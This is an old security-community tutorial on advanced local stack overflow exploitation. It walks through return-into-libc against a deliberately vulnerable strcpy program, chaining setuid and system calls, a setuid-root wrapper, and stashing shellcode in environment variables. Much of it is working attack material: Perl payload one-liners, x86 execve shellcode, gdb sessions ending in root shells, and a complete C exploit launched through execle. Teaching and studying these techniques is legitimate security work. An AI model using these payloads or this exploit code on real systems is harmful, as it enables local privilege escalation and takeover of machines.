Gotfault Security Community (GSC) ---------[ Chapter : 0x200 ] ---------[ Subject : Local Stack Overflow (Advcanced Module) ] ---------[ Author : xgc/dx A.K.A Thyago Silva ] ---------[ Date : 09/10/2005 ] ---------[ Version : 2.1 ] |=-----------------------------------------------------------------------------=| ---------[ Table of Contents ] 0x210 - Objective 0x220 - Requisites 0x230 - Introduction to Returning Into Libc 0x240 - Introduction to System Function 0x250 - Analysis of Vulnerable Source Code 0x260 - Getting Informations 0x270 - Returning Into System Function 0x280 - Setuid Call 0x290 - Using Wrapper 0x2a0 - Using Environment to Small Buffers 0x2b0 - Analisys of Exploit Source C Code 0x2c0 - Conclusion |=-----------------------------------------------------------------------------=| ---------[ 0x210 - Objective ] Execute code when the stack has enable to don't execute code. Execute code when buffer isn't big enough for the shellcode. ---------[ 0x220 - Requisites ] Introduction to Local Stack Overflow (Basic Module). ---------[ 0x230 - Introduction to Returning Into Libc ] Most applications never need to execute anything on the stack, so an obvious defense against buffer overflow exploits is to make the stack non-executable. When this is done, shellcode existing anywhere on the stack is basically useless. This type of defense will stop the majority of exploits out there, and it is becoming more popular. The latest version of OpenBSD has a non-executable stack by default. Of course, there is a corresponding technique that can be used to exploit programs in an environment with a non-executable stack. This technique is known as returning into libc. Libc is a standard C library that contains various basic functions, like printf() and exit(). These functions are shared, so any program that uses the printf() function directs execution into the appropriate location in libc. An exploit can do the exact same thing and direct a program's execution into a certain function in libc. The functionality of the exploit is limited by the functions in libc, which is a significant restriction when compared to arbitrary shellcode. However, nothing is ever executed on the stack. ---------[ 0x240 - Introduction to System Function ] A point of interest is how to get the argument to system function. Essentially, what we do is pass a pointer to the string (/bin/sh) we want executed. We know that normally when a program executes a function the arguments get pushed onto the stack in reverse order. It is what happens next that is of interest to us and will allow us to pass parameters to system function. First, a CALL instruction is executed. This CALL will push the address of the next instruction (where we want to return to) onto the stack. It will also decrement ESP by 4. When we return from a function called, RET (or EIP) will be popped off the stack. ESP is then set to the address directly following RET. Now comes the actual return to system function. Called function assumes that ESP is already pointing to the address that should be returned to. It is going to also assume that the parameters are sitting there waiting for it on the stack, starting with the first argument following RET. This is normal stack behavior described at basic module. We set the return to system function and the argument (in our example, this will be a pointer to /bin/sh) in those 8 bytes. When Called function returns, it will return into system function, and its has our values waiting for it on the stack. Now you need to understand the basics of the technique. Let.s take a look at the preparatory work we must accomplish in order to make a Return to libc exploit via system function: 1. Get the address of system(). 2. Get the address of exit(). 3. Get the address of string "/bin/sh". ---------[ 0x250 - Analysis of Vulnerable Source Code ] #include #include #include int main(int argc, char *argv[]) { char buff[4]; if(argc != 2) { printf("Needs an argument!\n"); exit(-1); } strcpy(buff, argv[1]); return 1; } This program allows anybody, who exceeds the bounds of the variable buff, to overwrite data on the stack. It would usually be quite easy to write an exploit for the above example program, but let's assume that at our system was enabled a non-executable stack as a security measure. ---------[ 0x260 - Getting Informations ] The location of the system and exit functions in libc must be determined. This will be different for every system, but once the location is known, it will remain the same until libc is recompiled. One of the easiest ways to find the location of a libc function is to create a simple dummy program and debug it. #include int main() { return 1; } [xgc@knowledge:~]$ gcc -o dummy dummy.c -Wall [xgc@knowledge:~]$ gdb ./dummy -q Using host libthread_db library "/lib/libthread_db.so.1". (gdb) break main Breakpoint 1 at 0x804835a (gdb) run Starting program: /home/xgc/dummy Breakpoint 1, 0x0804835a in main () (gdb) print system $1 = {} 0x4005b810 (gdb) print exit $2 = {} 0x40046b00 (gdb) I ran gdb ready to debug our dummy program, and told to report breakpoint before running the dummy program. By examining the report, I get the location of the libc function system and exit in memory. However, we still need to know how we can store the string "/bin/sh" in memory and ultimately reference it whenever needed. Maybe we could use an environmental variable to hold the string? Yes, an environmental variable would be ideal for this task, so let's create and use an environment variable called KNOWLEDGE to store our string ("/bin/sh"). But how are we going to know the memory address of our environment variable and our string ? We can write a simple utility program to grab the memory address of the environmental variable. Consider the following code: #include #include int main(int argc, char *argv[]) { char *pointer; if(argc != 2) { printf("Usage: %s \n", argv[0]); exit(-1); } pointer = getenv(argv[1]); if(pointer == NULL) { printf("Environmental variable %s does not exist!\n", argv[1]); exit(-1); } printf("%s is stored at address 0x%08x\n", argv[1], pointer); return 1; } [xgc@knowledge:~]$ export KNOWLEDGE="/bin/sh" [xgc@knowledge:~]$ gcc -o catch catch.c [xgc@knowledge:~]$ ./catch KNOWLEDGE KNOWLEDGE is stored at address 0xbfffffe2 [xgc@knowledge:~]$ So now, we have all necessary informations to exploit the vulnerable source code given. The layout of our malicious buffer will looks like: |-------------------------------|-------------|------------|------------| | data to overflow buffer | &system | &exit | /bin/sh | |-------------------------------|-------------|------------|------------| We choice exit address becouse this will be where system call returns. It's just for a clean exploit effect. ---------[ 0x270 - Returning Into system function ] With the informations, now we need to: 1. Fill the vulnerable buffer up to the return address with garbage data; 2. Overwrite the return address with the address of system(); 3. Follow system() with the address of exit(), 4. Append the address of "/bin/sh" string. [xgc@knowledge:~]$ gcc -o adv_stack adv_stack.c -Wall [xgc@knowledge:~]$ gdb ./adv_stack -q Using host libthread_db library "/lib/libthread_db.so.1". (gdb) run `perl -e 'print "A"x10'` Starting program: /home/xgc/adv_stack `perl -e 'print "A"x10'` Program received signal SIGSEGV, Segmentation fault. 0x40004141 in _dl_dst_substitute () from /lib/ld-linux.so.2 (gdb) run `perl -e 'print "A"x12'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/xgc/adv_stack `perl -e 'print "A"x12'` Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) EIP register was overwrite with buffer size: 12bytes. So, process layout will looks like: |---------------------------|----------------|--------------|--------------| | 08 A's | 0x4005b810 | 0x40046b00 | 0xbfffffe2 | |---------------------------|----------------|--------------|--------------| args EBP EIP [xgc@knowledge:~]$ gdb ./adv_stack -q Using host libthread_db library "/lib/libthread_db.so.1". (gdb) disassemble main Dump of assembler code for function main: 0x080483f4 : push %ebp 0x080483f5 : mov %esp,%ebp 0x080483f7 : sub $0x18,%esp 0x080483fa : and $0xfffffff0,%esp 0x080483fd : mov $0x0,%eax 0x08048402 : sub %eax,%esp 0x08048404 : cmpl $0x2,0x8(%ebp) 0x08048408 : je 0x8048422 0x0804840a : movl $0x8048554,(%esp) 0x08048411 : call 0x80482f8 <_init+56> 0x08048416 : movl $0xffffffff,(%esp) 0x0804841d : call 0x8048308 <_init+72> 0x08048422 : mov 0xc(%ebp),%eax 0x08048425 : add $0x4,%eax 0x08048428 : mov (%eax),%eax 0x0804842a : mov %eax,0x4(%esp) 0x0804842e : lea 0xfffffffc(%ebp),%eax 0x08048431 : mov %eax,(%esp) 0x08048434 : call 0x8048318 <_init+88> 0x08048439 : mov $0x1,%eax 0x0804843e : leave 0x0804843f : ret ---Type to continue, or q to quit--- End of assembler dump. (gdb) break *main+75 Breakpoint 1 at 0x804843f (gdb) display/1i $eip (gdb) run testing. Starting program: /home/xgc/adv_stack testing. Breakpoint 1, 0x0804843f in main () 1: x/i $eip 0x804843f : ret (gdb) run testing. The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/xgc/adv_stack testing. Breakpoint 1, 0x0804843f in main () 1: x/i $eip 0x804843f : ret (gdb) x/s 0xbffffffa-50 0xbfffffc8: ".28.151.26 22" (gdb) 0xbfffffd6: "KNOWLEDGE=/bin/sh" (gdb) x/s 0xbfffffd6+10 0xbfffffe0: "/bin/sh" (gdb) run `perl -e 'print "A"x8,"\x10\xb8\x05\x40","\x01\x6b\x04\x40","\xe0\xff\xff\xbf"'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/xgc/adv_stack `perl -e 'print "A"x8,"\x10\xb8\x05\x40","\x01\x6b\x04\x40", "\xe0\xff\xff\xbf"'` Breakpoint 1, 0x0804843f in main () 1: x/i $eip 0x804843f : ret (gdb) continue Continuing. sh-2.05b$ ---------[ 0x280 - Setuid Call ] In a BugTraq post, Solar Designer suggested chaining libc calls so a setuid() executes before the system() call to restore privileges. This chaining can be done by taking advantage of the return address value that was previously ignored. The following series of addresses will chain a call from setuid() to system(), as shown in this illustration. |-----------------|-------------|-------------|---------------|---------------| | garbage | &setuid | &system | setuid_arg | system_arg | |-----------------|-------------|-------------|---------------|---------------| The setuid() call will execute with its argument. Because it's only expecting one argument, the argument for the system() call will be ignored. After it's finished, execution will return to the system() function, which will use its argument as expected. The idea of chaining calls is quite clever, but there are other problems inherent in this method of restoring privileges. The setuid() argument is expecting an unsigned integer value, so in order to restore root level privileges, this value must be 0x00000000. Unfortunately, the buffer is still a string that will be terminated by null bytes. Avoiding the use of null bytes, the lowest value that can be used for this argument is 0x01010101, which has a decimal value of 16843009. While this isn't quite the desired result, the concept of chaining calls still important. [xgc@knowledge:~]$ gdb ./dummy -q Using host libthread_db library "/lib/libthread_db.so.1". (gdb) break main Breakpoint 1 at 0x804835a (gdb) run Starting program: /home/xgc/dummy Breakpoint 1, 0x0804835a in main () (gdb) print setuid $1 = {} 0x400c3850 (gdb) Now let's run again the program with informations about layout given: [root@knowledge:/home/xgc]# chown root.root adv_stack [root@knowledge:/home/xgc]# chmod +s adv_stack [root@knowledge:/home/xgc]# exit [xgc@knowledge:~]$ ./adv_stack `perl -e 'print "A"x8,"\x50\x38\x0c\x40","\x10\xb8\x05\x40","\x01\x01\x01\x01","\xe2\xff\xff\xbf"'` Segmentation fault [xgc@knowledge:~]$ ./adv_stack `perl -e 'print "A"x8,"\x50\x38\x0c\x40","\x10\xb8\x05\x40","\x01\x01\x01\x01","\xdc\xff\xff\xbf"'` sh: line 1: in/sh: Permission denied Segmentation fault [xgc@knowledge:~]$ ./adv_stack `perl -e 'print "A"x8,"\x50\x38\x0c\x40","\x10\xb8\x05\x40","\x01\x01\x01\x01","\xda\xff\xff\xbf"'` sh-2.05b$ id uid=16843009 gid=1000(xgc) egid=0(root) groups=1000(xgc) sh-2.05b$ The address of the setuid() function is determined the same way as before, and the chained libc call is set up as described previously. As expected, the uid is set to 16843009, but this is still far from a root shell. Somehow, a setuid(0) call must be made without terminating the string early with null bytes. ---------[ 0x290 - Using Wrapper ] One simple and effective solution is to create a wrapper program. This wrapper will set the user ID (and group ID) to 0 and then spawn a shell. This program doesn't need any special privileges, because the vulnerable suid root program will be executing it. #include #include int main() { setuid(0); setgid(0); system("/bin/sh"); } [xgc@knowledge:~]$ export WRAPPER="./wrapper" [xgc@knowledge:~]$ ./catch WRAPPER WRAPPER is stored at address 0xbffffefa [xgc@knowledge:~]$ So, process layout will looks like: |---------------------------|----------------|--------------|--------------| | 08 A's | 0x4005b810 | 0x40046b00 | 0xbffffef2 | |---------------------------|----------------|--------------|--------------| args EBP EIP [xgc@knowledge:~]$ ./adv_stack `perl -e 'print "A"x8,"\x10\xb8\x05\x40","\x01\x6b\x04\x40","\xf2\xfe\xff\xbf"'` sh-2.05b# id uid=0(root) gid=0(root) groups=1000(xgc) sh-2.05b# ---------[ 0x2a0 - Using Environment to Small Buffers ] Sometimes a buffer will be too small to even fit shellcode into. In this case, the shellcode can be stashed in an environment variable. Environment variables are used by the user shell for a variety of things, but the key point of interest is that they are stored in an area of memory that program execution can be redirected to. So if a buffer is too small to fit the NOP sled, shellcode, and repeated return address, the sled and shellcode can be stored in an environment variable with the return address pointing to that address in memory. Here is the vulnerable piece of code, using a buffer that is too small for shellcode: #include #include #include int main(int argc, char *argv[]) { char buff[4]; if(argc != 2) { printf("Needs an argument!\n"); exit(-1); } strcpy(buff, argv[1]); return 1; } Because the buffer is only four bytes long, there is no space for shellcode to be inserted. It must be stored elsewhere. One ideal candidate for holding the shellcode is an environment variable. execle() function has one additional argument, which is the environment that the executing process should run under. This environment is presented in the form of an array of pointers to null-terminated strings for each environment variable, and the environment array itself is terminated with a null pointer. This means that an environment containing shellcode can be created by using an array of pointers, the first of which points to the shellcode, and the second consisting of a null pointer. Then the execle() function can be called using this environment to execute the second vulnerable program, overflowing the return address with the address of the shellcode. Luckily, the address of an environment invoked in this manner is easy to calculate. In Linux, the address will be 0xbffffffa, minus the length of the environment, minus the length of the name of the executed program. Because this address will be exact, there is no need for an NOP sled. All that's needed in the exploit buffer is the address, repeated enough times to overflow the return address in the stack. Of course, this technique can also be used without an exploit program. In the bash shell, environment variables are set and exported using export VARNAME=value. Using export, Perl, and a few pairs of grave accents, the shellcode and a generous NOP sled can be put into the current environment: [xgc@knowledge:~]$ export SHELLCODE=`perl -e 'print "\x90"x10,"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3 \x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'` Let's see where environment variable SHELLCODE is located inside GDB: [xgc@knowledge:~]$ gdb ./adv_stack -q Using host libthread_db library "/lib/libthread_db.so.1". (gdb) run `perl -e 'print "A"x12'` Starting program: /home/xgc/adv_stack `perl -e 'print "A"x12'` Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) x/128bx $esp 0xbffffad0: 0x00 0x00 0x00 0x00 0x24 0xfb 0xff 0xbf 0xbffffad8: 0x30 0xfb 0xff 0xbf 0x30 0x83 0x04 0x08 0xbffffae0: 0x00 0x00 0x00 0x00 0xd0 0xbc 0x00 0x40 0xbffffae8: 0x74 0xbd 0x14 0x40 0xa0 0x6c 0x01 0x40 0xbffffaf0: 0x02 0x00 0x00 0x00 0x30 0x83 0x04 0x08 0xbffffaf8: 0x00 0x00 0x00 0x00 0x51 0x83 0x04 0x08 0xbffffb00: 0xf4 0x83 0x04 0x08 0x02 0x00 0x00 0x00 0xbffffb08: 0x24 0xfb 0xff 0xbf 0x40 0x84 0x04 0x08 0xbffffb10: 0xa0 0x84 0x04 0x08 0x80 0xc3 0x00 0x40 0xbffffb18: 0x1c 0xfb 0xff 0xbf 0x00 0x00 0x00 0x00 0xbffffb20: 0x02 0x00 0x00 0x00 0x07 0xfc 0xff 0xbf 0xbffffb28: 0x1b 0xfc 0xff 0xbf 0x00 0x00 0x00 0x00 0xbffffb30: 0x28 0xfc 0xff 0xbf 0x55 0xfc 0xff 0xbf 0xbffffb38: 0x65 0xfc 0xff 0xbf 0x70 0xfc 0xff 0xbf 0xbffffb40: 0x91 0xfc 0xff 0xbf 0xa4 0xfc 0xff 0xbf 0xbffffb48: 0xad 0xfc 0xff 0xbf 0xe2 0xfe 0xff 0xbf (gdb) 0xbffffb50: 0xed 0xfe 0xff 0xbf 0xff 0xfe 0xff 0xbf 0xbffffb58: 0x39 0xff 0xff 0xbf 0x4c 0xff 0xff 0xbf 0xbffffb60: 0x58 0xff 0xff 0xbf 0x66 0xff 0xff 0xbf 0xbffffb68: 0x71 0xff 0xff 0xbf 0x7a 0xff 0xff 0xbf 0xbffffb70: 0x89 0xff 0xff 0xbf 0x91 0xff 0xff 0xbf 0xbffffb78: 0xa9 0xff 0xff 0xbf 0xb5 0xff 0xff 0xbf 0xbffffb80: 0x00 0x00 0x00 0x00 0x10 0x00 0x00 0x00 0xbffffb88: 0xbf 0xfb 0xe9 0x07 0x06 0x00 0x00 0x00 0xbffffb90: 0x00 0x10 0x00 0x00 0x11 0x00 0x00 0x00 0xbffffb98: 0x64 0x00 0x00 0x00 0x03 0x00 0x00 0x00 0xbffffba0: 0x34 0x80 0x04 0x08 0x04 0x00 0x00 0x00 0xbffffba8: 0x20 0x00 0x00 0x00 0x05 0x00 0x00 0x00 0xbffffbb0: 0x07 0x00 0x00 0x00 0x07 0x00 0x00 0x00 0xbffffbb8: 0x00 0x00 0x00 0x40 0x08 0x00 0x00 0x00 0xbffffbc0: 0x00 0x00 0x00 0x00 0x09 0x00 0x00 0x00 0xbffffbc8: 0x30 0x83 0x04 0x08 0x0b 0x00 0x00 0x00 (gdb) 0xbffffbd0: 0xe8 0x03 0x00 0x00 0x0c 0x00 0x00 0x00 0xbffffbd8: 0xe8 0x03 0x00 0x00 0x0d 0x00 0x00 0x00 0xbffffbe0: 0xe8 0x03 0x00 0x00 0x0e 0x00 0x00 0x00 0xbffffbe8: 0xe8 0x03 0x00 0x00 0x0f 0x00 0x00 0x00 0xbffffbf0: 0x02 0xfc 0xff 0xbf 0x00 0x00 0x00 0x00 0xbffffbf8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xbffffc00: 0x00 0x00 0x69 0x36 0x38 0x36 0x00 0x2f 0xbffffc08: 0x68 0x6f 0x6d 0x65 0x2f 0x78 0x67 0x63 0xbffffc10: 0x2f 0x61 0x64 0x76 0x5f 0x73 0x74 0x61 0xbffffc18: 0x63 0x6b 0x00 0x41 0x41 0x41 0x41 0x41 0xbffffc20: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x00 0xbffffc28: 0x53 0x48 0x45 0x4c 0x4c 0x43 0x4f 0x44 0xbffffc30: 0x45 0x3d 0x90 0x90 0x90 0x90 0x90 0x90 0xbffffc38: 0x90 0x90 0x90 0x90 0x31 0xc0 0x50 0x68 0xbffffc40: 0x2f 0x2f 0x73 0x68 0x68 0x2f 0x62 0x69 0xbffffc48: 0x6e 0x89 0xe3 0x50 0x53 0x89 0xe1 0x99 (gdb) x/3s 0xbffffc18 0xbffffc18: "ck" 0xbffffc1b: 'A' 0xbffffc28: "SHELLCODE=\220\220\220\220\220\220\220\220\220\2201ÀPh//shh/bin\211ãPS\211á\231°\vÍ\200" (gdb) x/s 0xbffffc28+10 0xbffffc32: "\220\220\220\220\220\220\220\220\220\2201ÀPh//shh/bin\211ãPS\211á\231°\vÍ\200" (gdb) After finding the address where the environment variable SHELLCODE is located, the command x/s is used to examine just that string. But this address includes the string "SHELLCODE=", so 16 bytes are added to the address to provide an address that is located somewhere in the NOP sled. The debugger has revealed that the address 0xbffffc32 is right near the beginning of the NOP sled, and the shellcode is stored in the environment variable SHELLCODE. Armed with this knowledge, some more Perl, the vulnerable program can be exploited, as follows. [xgc@knowledge:~]$ ./adv_stack `perl -e 'print "\x32\xfc\xff\xbf"x3'` sh-2.05b$ ---------[ 0x2b0 - Analisys of Exploit Source C Code ] Now let's check some exploit source C code: #include #include #include #include /* here is a shellcode variable */ char shellcode[] = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3" "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; int main() { /* we already know that eip is overwritten with 12bytes */ char buff[12]; /* envp is an array of strings, conventionally of the form key=value, which are passed as environment to the new program. we've put shellcode there. */ char *env[2] = {shellcode,NULL}; int i, retaddr, *pointer; /* here is our simple formula to get shellcode location */ retaddr = 0xbffffffa - strlen(shellcode) - strlen("./adv_stack"); /* build a loop to add return address many times into the buff. (retx3) = 12bytes */ pointer = (int *)(buff); for(i = 0; i < sizeof(buff); i += 4) *pointer++ = retaddr; /* here execle executes the vulnerable source code with buff and the env at envp */ execle("./adv_stack", "adv_stack", buff, NULL, env); return 0; } [xgc@knowledge:~]$ gcc -o exploit exploit.c -Wall [xgc@knowledge:~]$ ./exploit sh-2.05b$ ---------[ 0x2c0 - Conclusion ] Methods if the buffer isn't big enough for the shellcode or if some Stack protections are installed have been described. With that, codes not need to be at stack memory and can be bypassed using environmental variable address. |=-----------------------------------------------------------------------------=|